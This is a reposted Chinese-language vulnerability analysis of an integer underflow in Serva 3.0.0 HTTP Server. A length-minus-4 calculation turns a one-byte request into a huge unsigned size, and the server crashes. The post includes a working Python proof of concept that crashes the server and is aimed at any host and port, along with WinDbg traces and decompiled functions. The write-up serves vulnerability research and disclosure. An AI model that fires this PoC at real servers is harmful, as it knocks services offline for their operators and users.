内容简介:作者:k0shl 转载请注明出处:https://whereisk0shl.topServa Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。PoC:
作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
Serva Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/ee00f393975d54945d5fa35207f4b7c4-Serva_Community_32_v3.0.0.zipPoC:
import sys,socket if len(sys.argv) < 3: print '\nUsage: ' + sys.argv[0] + ' <target> <port>\n' print 'Example: ' + sys.argv[0] + ' 172.19.0.214 80\n' sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((host, port)) s.settimeout(251) s.send('z') s.close
漏洞复现
Serva Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。
首先,Windbg附加Serva,发送PoC,PoC里只有一个字符z,数据很短,Serva Server捕获到了崩溃。
0:009> g (b44.91c): C++ EH exception - code e06d7363 (first chance) (b44.91c): C++ EH exception - code e06d7363 (!!! second chance !!!) eax=0197753c ebx=0197769c ecx=00000000 edx=00000003 esi=019775c4 edi=019776cc eip=7c812aeb esp=01977538 ebp=0197758c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - kernel32!RaiseException+0x52: 7c812aeb 5e pop esi
这里调用RaiseException,明显是一处异常处理函数。查看一下kb堆栈回溯。
0:009> kb *** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\Serva_Community_32_v3.0.0\Serva32.exe *** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\Serva_Community_32_v3.0.0\Serva32.exe ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 0197758c 004abaaf e06d7363 00000001 00000003 kernel32!RaiseException+0x52 019775c4 004cc909 019775e4 005e13e8 1dbf1f6d Serva32+0xabaaf 01977634 004085d3 00b8b178 0197769c ffffffff Serva32+0xcc909 01977648 004089a5 019776cc fffffffd 00000004 Serva32+0x85d3 01977678 00408f01 0197769c fffffffd 00000004 Serva32+0x89a5
离栈顶最近的几处调用都是异常处理部分,后面会说到,在4085d3位置的函数调用,会处理数据,并做一个比较。
if(*(DWORD *)(a1+20)< a3) sub_4CC8D2();
当a1+20长度小于a3的时候,则判断不通过,会进入异常处理的函数部分,这个a1+20的长度就是源于接收数据的长度,在这个函数入口下断点跟踪,会两次命中。
0:007> p eax=00000000 ebx=00000001 ecx=00b8bcc8 edx=00000000 esi=00b8bcc8 edi=0175fa99 eip=004085c4 esp=0175f9f4 ebp=0175fa00 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Serva32+0x85c4: 004085c4 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:0175fa08=0175fba8 0:007> p eax=00000000 ebx=00000001 ecx=00b8bcc8 edx=00000000 esi=00b8bcc8 edi=0175fba8 eip=004085c7 esp=0175f9f4 ebp=0175fa00 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Serva32+0x85c7: 004085c7 8bd9 mov ebx,ecx 0:007> dc edi 0175fba8 00000000 2e323931 2e383631 312e3532 ....192.168.25.1 0175fbb8 00003330 0000000e
第一次命中时edi包括的是IP地址,偏移+14h,也就是+20位置存放的是前面数据串的长度,这样会连续命中两次。第二次接收到的是一个z,第三次命中的时候,来看一下a3的值。
0:009> p eax=00000000 ebx=ffffffff ecx=0194769c edx=00000001 esi=0194769c edi=00b8b288 eip=004085be esp=01947648 ebp=01947648 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 Serva32+0x85be: 004085be 8b450c mov eax,dword ptr [ebp+0Ch] ss:0023:01947654=fffffffd 0:009> p eax=fffffffd ebx=ffffffff ecx=0194769c edx=00000001 esi=0194769c edi=00b8b288 eip=004085c1 esp=01947648 ebp=01947648 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 Serva32+0x85c1: 004085c1 53 push ebx
a3的值是fffffffd,是一个负数,这个数作比较的时候会作为一个无符号数比较,这个数会变得非常大,导致了后面处理问题,那么这个数是从哪里来的呢。
向上层回溯的过程中,发现了这样一处调用。
signed int __stdcall sub_408EDC(char a1, int a2, int a3, int a4, int a5, int a6, int a7) { int v7; // eax@1 signed int v8; // edi@1 bool v9; // bl@1 char v11; // [sp+Ch] [bp-28h]@1 int v12; // [sp+30h] [bp-4h]@1 v12 = 0; v7 = sub_408BAB(&a1, (int)&v11, a6 - 4, 4u);
在调用sub_408BAB函数的时候,会将a6-4作为一个size大小传入,这个过程会将数据长度-4,我们传送的数据是z,长度是1,这个过程会令长度变成一个负数。
0:009> p eax=00000001 ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288 eip=00408eef esp=0194768c ebp=019476c4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 Serva32+0x8eef: 00408eef 6a04 push 4 0:009> p eax=00000001 ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288 eip=00408ef1 esp=01947688 ebp=019476c4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 Serva32+0x8ef1: 00408ef1 83c0fc add eax,0FFFFFFFCh 0:009> p eax=fffffffd ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288 eip=00408ef4 esp=01947688 ebp=019476c4 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282 Serva32+0x8ef4: 00408ef4 50 push eax
可以看到eax作为长度刚开始是1,第二步会令eax-4,随后eax的值为fffffffd,接下来进入处理。
int __thiscall sub_408BAB(void *this, int a2, unsigned int a3, rsize_t a4) { sub_408981(a2, (int)this, a3, a4, (int)&a2 + 3); return a2; }
这里a4的值是fffffffd,接下来传入后就会进入我们之前的判断,判断时,这个长度值会很大,判断肯定成立,进入错误处理。
void __noreturn sub_4CC8D2() { char v0; // [sp+Ch] [bp-50h]@1 char v1; // [sp+34h] [bp-28h]@1 int v2; // [sp+58h] [bp-4h]@1 std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>("invalid string position"); v2 = 0; sub_408A9B(&v0, (int)&v1); _CxxThrowException((int)&v0, &unk_5E13E8); }
在错误处理中,调用CxxThrowException导致拒绝服务漏洞。此漏洞形成的原因,就是因为对数据包的长度没有进行校验,直接减4(可能程序猿默认传入HTTP的数据包最少也是包含GET部分的数据的),此时如果长度是一个小于4的数,变成了负数,导致rsize_t作为无符号数判断时是一个很大的值,最后引发拒绝服务漏洞。
以上所述就是小编给大家介绍的《Serva 3.0.0 HTTP Server整数溢出远程拒绝服务漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Linux kernel 4.20 BPF 整数溢出-堆溢出漏洞及其利用
- 【缺陷周话】第17期:有符号整数溢出
- Python 的整数与 Numpy 的数据溢出
- CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析
- Redis 5.0.11、6.0.11、6.2 发布,修复 32 位系统上的整数溢出
- Linux create_elf_tables函数整数溢出漏洞(CVE-2018-14634)的分析与利用
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。